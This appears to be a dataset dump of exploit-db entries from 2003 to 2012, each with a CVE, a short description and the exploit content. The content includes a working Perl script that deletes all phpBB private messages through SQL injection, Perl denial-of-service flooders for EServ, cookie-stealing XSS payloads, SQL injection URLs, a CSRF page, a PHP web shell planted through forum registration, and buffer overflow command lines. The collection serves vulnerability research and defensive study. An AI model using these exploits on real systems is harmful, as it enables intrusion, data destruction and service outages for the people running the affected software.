QLWD/code_shield huggingface dataset:
标题: Microsoft Windows XP/2000/NT 4.0 - Locator Service Buffer Overflow EDB-ID: 22194 CVE: 2003-0003 类型: REMOTE 平台: WINDOWS 发布日期: 2003-01-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/6666/info

It has been reported that the Microsoft Windows Locator service is affected by a remotely exploitable buffer overflow vulnerability. The condition is due to a memory copy of RPC arguments received from remote clients into a local buffer.

This vulnerability may be exploited by remote attackers to execute custom instructions on the target server. It is also possible to crash the service with a malicious request. It should be noted that, to exploit this vulnerability, no authentication is required. Additionally, the Locator service is enabled by default on all Windows 2000 and Windows NT Domain Controllers (DC).

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22194.zip URL: https://www.exploit-db.com/exploits/22194
标题: List Site Pro 2.0 - User Database Delimiter Injection EDB-ID: 22201 CVE: 2003-1350 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6685/info

List Site PRO is a top site ranking system that counts hits from member sites and then ranks them according to the number of hits.

A problem has been reported for List Site PRO that would allow an attacker to inject arbitrary values via html input form fields into the underlying flat-file database used by List Site PRO.

A malicious user could sign up like this:

username:username
email:email@emial.com
url:www.url.com
bannerurl:www.site.com/banner.gif ||password|%User_ID%|60|468
banner height:68
banner width:460
password:pass

To reset the sites,specified by %User_ID%,password to 'password'. URL: https://www.exploit-db.com/exploits/22201
标题: FTLS Guestbook 1.1 - Script Injection EDB-ID: 22202 CVE: 2003-1348 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/6686/info

Guestbook does not adequately filter HTML tags from various fields. This may enable an attacker to inject arbitrary script code into pages that are generated by the guestbook.

The attacker's script code may be executed in the web client of arbitrary users who view the pages generated by the guestbook, in the security context of the website running the software.

The following proof of concept was provided by inserting malicious HTML code into the Title, Name and Comment fields:

<script>alert('test')</script> URL: https://www.exploit-db.com/exploits/22202
标题: GNU Mailman 2.1 - Error Page Cross-Site Scripting EDB-ID: 22199 CVE: 2003-0038 类型: WEBAPPS 平台: CGI 发布日期: 2003-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6678/info

A vulnerability has been discovered in GNU Mailman. The issue occurs to insufficient sanitization of user-supplied data which is output when generating error pages.

As a result, attackers may embed malicious script code or HTML into a link to a site running the vulnerable software. If such a link is followed, the attacker-supplied code will be interpreted in the web browser of the victim of the attack. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks are also possible.

It has been reported that GNU Mailman 2.0.11 is not affected by this issue.

https://www.yourserver.com:443//mailman/options/yourlist?
language=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> URL: https://www.exploit-db.com/exploits/22199
标题: slocate 2.5/2.6 - Local Buffer Overrun EDB-ID: 22197 CVE: 2003-0056 类型: DOS 平台: LINUX 发布日期: 2003-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6676/info

A vulnerability has been discovered in slocate. It has been reported that a buffer overrun occurs when running the slocate program with command line arguments of excessive length. Specifically, it is possible to overrun a buffer in slocate by supplying excessive data as the regex ('-r') and parse /etc/updatedb.conf ('-c') command line options. 

By exploiting this issue to overwrite an instruction pointer an attacker may gain the ability to execute arbitrary instructions. As slocate is typically installed setgid, all commands executed by the attacker will be run with the elevated group privileges.

*** Conflicting details have been released which provide information reporting that the issue described is not a buffer overflow. Furthermore, the programming error that occurs may not be a security issue and thus not exploitable.

/usr/bin/slocate -c `perl -e "print 'A' x 1024"` -r `perl -e "print 'A' x 1024"` URL: https://www.exploit-db.com/exploits/22197
标题: MTink 0.9.x - Printer Status Monitor Environment Variable Buffer Overflow EDB-ID: 22189 CVE: 2003-0034 类型: LOCAL 平台: LINUX 发布日期: 2003-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/6656/info

mtink is prone to a locally exploitable buffer overflow condition. This is due to insufficient bounds checking of the HOME environment variable.

mtink is reportedly installed setgid 'sys' on Mandrake Linux, so it is possible that this issue may be exploited to execute arbitrary code with elevated privileges. Other distributions may also be affected if mtink is installed or runs with elevated privileges.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21001.tar.gz URL: https://www.exploit-db.com/exploits/22189
标题: GNU Mailman 2.1 - 'email' Cross-Site Scripting EDB-ID: 22198 CVE: 2003-0038 类型: WEBAPPS 平台: CGI 发布日期: 2003-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/6677/info

A vulnerability has been discovered in GNU Mailman. It has been reported that Mailman is prone to cross site scripting attacks. This is due to insufficient santization of URI parameters.


As a result, attackers may embed malicious script code or HTML into a link to a site running the vulnerable software. If such a link is followed, the attacker-supplied code will be interpreted in the web browser of the victim of the attack. It may be possible to steal the unsuspecting user's cookie-based authentication credentials, as well as other sensitive information. Other attacks are also possible.

https://www.yourserver.com:443/mailman/options/yourlist?
language=en&email=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> URL: https://www.exploit-db.com/exploits/22198
标题: Trend Micro Virus Control System 1.8 - Information Disclosure EDB-ID: 22173 CVE: 2003-1344 类型: REMOTE 平台: WINDOWS 发布日期: 2003-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/6618/info

An information disclosure vulnerability has been reported for TVCS. Reportedly, it is possible for an attacker to access the log files generated by TVCS. The log files contain very sensitive information about the system, including user names and passwords. 

Any information obtained in this manner may be used by an attacker to launch further destructive attacks against a system.

http://x.x.x.x/tvcs/getservers.exe?action=selects1 URL: https://www.exploit-db.com/exploits/22173
标题: phpBB 2.0.3 - 'privmsg.php' SQL Injection EDB-ID: 22182 CVE: 2003-1530 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/6634/info

A SQL injection vulnerability has been reported for phpBB2 systems that may result in the deletion of all private messages.

phpBB2, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries to execute on the underlying database. As a result, it is possible to manipulate SQL queries. This may allow a remote attacker to modify query logic or potentially corrupt the database. 

A remote attacker can exploit this vulnerability by manipulating URI parameters to cause the text of all private messages to be deleted.

#!/usr/bin/perl --

# phpBB delete the text of all users' private messages exploit
# Ulf Harnhammar
# January 2003

use Socket;

if (@ARGV != 2) { die "usage: $0 host sid\n"; }

($host, $sid) = @ARGV;
$host =~ s|\s+||g;
$sid =~ s|\s+||g;

$crlf = "\015\012";
$http = "POST /privmsg.php?folder=inbox&sid=$sid HTTP/1.0$crlf".
        "Host: $host$crlf".
        "User-Agent: Mozzarella/1.37++$crlf".
        "Referer: http://www.phpbb.com/$crlf".
        "Connection: close$crlf".
        "Content-Type: application/x-www-form-urlencoded$crlf".
        "Content-Length: 58$crlf$crlf".
        "mode=&delete=true&mark%5B%5D=1%29+OR+1%3D1+%23&confirm=Yes";

$tcp = getprotobyname('tcp') or die "Couldn't getprotobyname!\n";
$hosti = inet_aton($host) or die "Couldn't look up host!\n";
$hosts = sockaddr_in(80, $hosti);

socket(SOK, PF_INET, SOCK_STREAM, $tcp) or die "Couldn't socket!\n";
connect(SOK, $hosts) or die "Couldn't connect to port!\n";

select SOK; $| = 1; select STDOUT;

print SOK $http;

$junk = '';
while (<SOK>) { $junk .= $_; }

close SOK or die "Couldn't close!\n"; URL: https://www.exploit-db.com/exploits/22182
标题: Trend Micro Virus Control System 1.8 - Denial of Service EDB-ID: 22172 CVE: 2003-1342 类型: DOS 平台: WINDOWS 发布日期: 2003-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/6617/info

A denial of service vulnerability has been reported for Trend Micro TVCS. The vulnerability occurs when numerous requests for 'activesupport.exe' are made. This will cause the web server to stop responding to requests for a limited period of time. Repeated requests will cause a denial of service for an indefinite period of time.

http://x.x.x.x/tvcs/activesupport.exe URL: https://www.exploit-db.com/exploits/22172
标题: Trend Micro ScanMail For Exchange 3.8 - Authentication Bypass EDB-ID: 22174 CVE: 2003-1343 类型: REMOTE 平台: WINDOWS 发布日期: 2003-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/6619/info

A vulnerability has been reported for ScanMail for Microsoft Exchange. The vulnerability allows a remote attacker to bypass existing authentication mechanisms and obtain access to ScanMail's management system.

http://x.x.x.x:16372/smg_Smxcfg30.exe?vcc=3560121183d3 URL: https://www.exploit-db.com/exploits/22174
标题: Geeklog 1.3.7 - 'users.php?uid' Cross-Site Scripting EDB-ID: 22164 CVE: 2003-1347 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/6602/info

Geeklog is prone to a cross-site scripting vulnerability in the 'users.php' script.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Geeklog, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client.

http://www.example.com/users.php?mode=profile&uid=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/22164
标题: Geeklog 1.3.7 - 'profiles.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 22163 CVE: 2003-1347 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/6601/info

The Geeklog 'profiles.php' script is prone to multiple cross-site scripting vulnerabilities.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Geeklog, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client.

http://www.example.com/profiles.php?uid=<script>alert(document.cookie)</script>

http://www.example.com//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/22163
标题: Trend Micro OfficeScan 3.x - CGI Directory Insufficient Permissions EDB-ID: 22171 CVE: 2003-1341 类型: REMOTE 平台: WINDOWS 发布日期: 2003-01-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/6616/info

A vulnerability has been reported for Trend Micro OfficeScan that may allow attackers to access programs residing in the cgi directory of the OfficeScan installation.

http://x.x.x.x/officescan/cgi/cgiMasterPwd.exe URL: https://www.exploit-db.com/exploits/22171
标题: Geeklog 1.3.7 - 'comment.php?cid' Cross-Site Scripting EDB-ID: 22165 CVE: 2003-1347 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/6603/info

Geeklog is prone to a cross-site scripting vulnerability in the 'comment.php' script.

This issue is due to insufficient sanitization of input submitted in URI parameters. As a result, an attacker may create a malicious link to a site hosting Geeklog, which contains malicious HTML or script code.

When such a link is visited by an unsuspecting user, attacker-supplied script code will be interpreted by their web client.

http://www.example.com//comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/22165
标题: Geeklog 1.3.7 - 'Homepage User' HTML Injection EDB-ID: 22166 CVE: 2003-1347 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/6604/info

Geeklog is prone to HTML injection attacks.

The user account 'Homepage' field is not sufficiently sanitized of HTML and script code. As a result, a malicious user may inject malicious HTML and script code into this field. When the malicious user's account information is displayed to other web users, the attacker-supplied code will be interpreted in their web client in the security context of the site hosting the vulnerable software.

http://url" onmouseover="alert(document.cookie) URL: https://www.exploit-db.com/exploits/22166
标题: WordPress Plugin White Label CMS 1.5 - Cross-Site Request Forgery / Persistent Cross-Site Scripting EDB-ID: 22156 CVE: 2012-5388 2012-5387 类型: WEBAPPS 平台: PHP 发布日期: 2012-10-22 漏洞利用脚本: # Exploit Title: White Label CMS v 1.5 CSRF w/ persistent XSS
# Date: 21/10/2012
# Exploit Author: pcsjj
# Vendor Homepage: http://www.videousermanuals.com/white-label-cms/
# Version: 1.5
# Software Link: http://plugins.svn.wordpress.org/white-label-cms/branches/
# Downloads: 110,313
# CVE : CVE-2012-5387 (CSRF), CVE-2012-5388 (XSS)

<html>
<title>White Label CMS CSRF</title>
<body>
<img src='http://[TARGET]/wordpress/wp-admin/admin.php?page=wlcms-plugin.php&action=save&wlcms_o_developer_name="><script>alert("fun")</script><div
"'>
</body>
</html> URL: https://www.exploit-db.com/exploits/22156
标题: PHPPass 2 - 'AccessControl.php' SQL Injection EDB-ID: 22148 CVE: 2003-1533 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/6594/info

A problem with phpPass may allow an attacker to launch a SQL injection attack.

The vulnerability exists in the accesscontrol.php script included with phpPass. Due to insufficient sanitization of user-supplied input, it is possible for a remote user to inject arbitrary SQL into the database used by a vulnerable site. This may allow an attacker to view pages that would normally be restricted.

http://[target]/protectedpage.php?uid='%20OR%20''='&pwd='%20OR%20''=' URL: https://www.exploit-db.com/exploits/22148
标题: Movable Type Pro 5.13en - Persistent Cross-Site Scripting EDB-ID: 22151 CVE: 2012-1503 类型: WEBAPPS 平台: PHP 发布日期: 2012-10-22 漏洞利用脚本: -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

Source URL: http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Keywords: CVE-2012-1503, Movable Type Pro 5.13en, Stored XSS,
JavaScript Injection, Vendor Unresponsive, Full Disclosure

Introduction

Movable Type (MT) started as one of the industries first blogging platforms
and has developed into an industry leading publishing platform which has
been used globally for more than 10 years. Movable Type makes it simple to
manage entire websites, start new blogs, and build an engaged community of
readers and customers.

Six Apart KK has assumed responsibility over all intellectual property and
business operations of Movable Type, as well as trademark rights of Six
Apart. The new Six Apart, a Japanese corporation formerly known as Six
Apart KK, currently develops, markets and supports Movable Type for a
global user base, and also operates the company's website
(www.sixapart.com). The application can be downloaded from URL
http://www.movabletype.com/download/.

Exploit

Our researchers discovered a persistent XSS vulnerability, allowing an
attacker to inject arbitrary script code into the comment section of any
existing Mt5.13en installation. The blog comment is being moderated before
published; that means an attacker can target the moderating Admin
(employee) via Javascript Injection.

Exploit Code:

<a href=javascript:alert(document.cookie)>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X CLICKME NOW!  X X X X<br>
X X X X X X X X X X X X X X X<br>
X X X X X X X X X X X X X X X</a>

Screenshot at URL
http://www.cloudscan.me/2012/10/cve-2012-1503-movable-type-pro-513en.html

Bug Metrics: CVSS 6.5

Timeline

March 2012 - Email PoC to Vendor via mt-security@sixapart.jp
April 2012 - No Response from Vendor
May 2012 - Email PoC to Vendor via mt-security@sixapart.jp
October 2012 - Full Disclosure

-----BEGIN PGP SIGNATURE-----
Version: PGP Desktop 10.2.0 (Build 2599)
Charset: utf-8

wsBVAwUBUIFqUXz+WcLIygj0AQhJ4Af8DaKXqSTGW30YeoLXeq0kUhqXQ0BicpW8
UZGCMMnlgct7DVh36GIxWc/60WXtuA8nuPqSm7eMKbIrMsvQXPhg9o8MB0LErh49
e7DY1rZ5hVpq1jVqEEQIyu2bxqS8epFR9/5CSUukGnTwaf4gTna8ZB5UZoRPhLI9
ih/OKS1L1WZeykUqZB6oSjkc4t3AeS6iYdXZMvkSrwSgnN6iUKBa3lSSzuEzEmfv
Qhuvb0R6YxNMQafHOr4IlNa/A2rgGBlhYB3P5/wXdAmcnjIhPC4qtH6ik52+NiKQ
3m5Jr3V2rXVhJRrRwj0ubC4PtfVjIC1YP/k4zY0gA7DOmHhZKk+7Iw==
=JXEo
-----END PGP SIGNATURE----- URL: https://www.exploit-db.com/exploits/22151
标题: S8Forum 3.0 - Remote Command Execution EDB-ID: 22134 CVE: 2003-1252 类型: WEBAPPS 平台: PHP 发布日期: 2003-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/6547/info

S8Forum is prone to a remote command execution vulnerability.

When a user registers with the forum, a file is created locally with the specified username. The contents of this file will be the data entered by the user. As a result, a malicious user could create a file with an arbitrary name and PHP (.php) extension that contains valid PHP code. The attacker may then cause this file to be executed by requesting it via HTTP. 

- go to Register

- insert in Username:
any_name.php

- in password : any_pasword.

- in E-Mail:

<? system($cmd); ?>

Then request the following page:

http://www.example.com/s8forumfolder/users/any_name.php?cmd=uname%20-a URL: https://www.exploit-db.com/exploits/22134
标题: AN HTTPD 1.41 e - Cross-Site Scripting EDB-ID: 22130 CVE: 2003-1271 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/6529/info

AN HTTPD does not adequately filter HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code which will be executed in the browser of a legitimate user. All code will be executed within the context of the website running AN HTTPD.

This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. 

http://www.target.com/[script]?<h1>HACKED</h1>aaaa..[up_to_1kb]..aaaa URL: https://www.exploit-db.com/exploits/22130
标题: EType EServ 2.9x - FTP Remote Denial of Service EDB-ID: 22121 CVE: 2003-1266 类型: DOS 平台: WINDOWS 发布日期: 2003-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6519/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via FTP, the software becomes unstable. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
} URL: https://www.exploit-db.com/exploits/22121
标题: EType EServ 2.9x - SMTP Remote Denial of Service EDB-ID: 22123 CVE: 2003-1266 类型: DOS 平台: WINDOWS 发布日期: 2003-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6521/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via SMTP, the software becomes unstable. 

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
} URL: https://www.exploit-db.com/exploits/22123
标题: EType EServ 2.9x - POP3 Remote Denial of Service EDB-ID: 22122 CVE: 2003-1266 类型: DOS 平台: WINDOWS 发布日期: 2003-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6520/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via POP3, the software becomes unstable.

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
} URL: https://www.exploit-db.com/exploits/22122
标题: EType EServ 1.9x - NNTP Remote Denial of Service EDB-ID: 22124 CVE: 2003-1266 类型: DOS 平台: WINDOWS 发布日期: 2003-01-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/6522/info

EServ is a proxy software package distributed by EType. It is available for Microsoft Windows operating systems.

It has been reported that a problem in EServ may cause the software to crash. When a remote user sends a large amount of data via NNTP, the software becomes unstable.

#!/usr/bin/perl
#LEGAL NOTICE: Don't test this on networks you don't administer,
#and do not test this tool on networks you don't own without
#permission of the network owner.  You are responsible for all
#damage due to your use of this tool.
use IO::Socket;
print "$0: eServ Remote DoS Exploit\r\n";
print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n";
print "Server hostname\: ";
$host = trim(chomp($line = <STDIN>));
print "Service port to probe\: ";
$port = trim(chomp($line = <STDIN>));
print "\r\nBeginning probe -- stop with CTRL+C\r\n";
while (1) {
 $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port");
 undef $f;
} URL: https://www.exploit-db.com/exploits/22124
标题: iCal 3.7 - Remote Buffer Overflow (PoC) EDB-ID: 22118 CVE: 2003-1263 类型: DOS 平台: WINDOWS 发布日期: 2003-01-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/6506/info

A buffer overflow vulnerability has been reported for iCal. The vulnerability occurs when the iCal web server receives an overly long HTTP request. This will cause iCal to crash and result in a denial of service condition.

Restarting the service is necessary to restore functionality.

nc target 80
AAAA URL: https://www.exploit-db.com/exploits/22118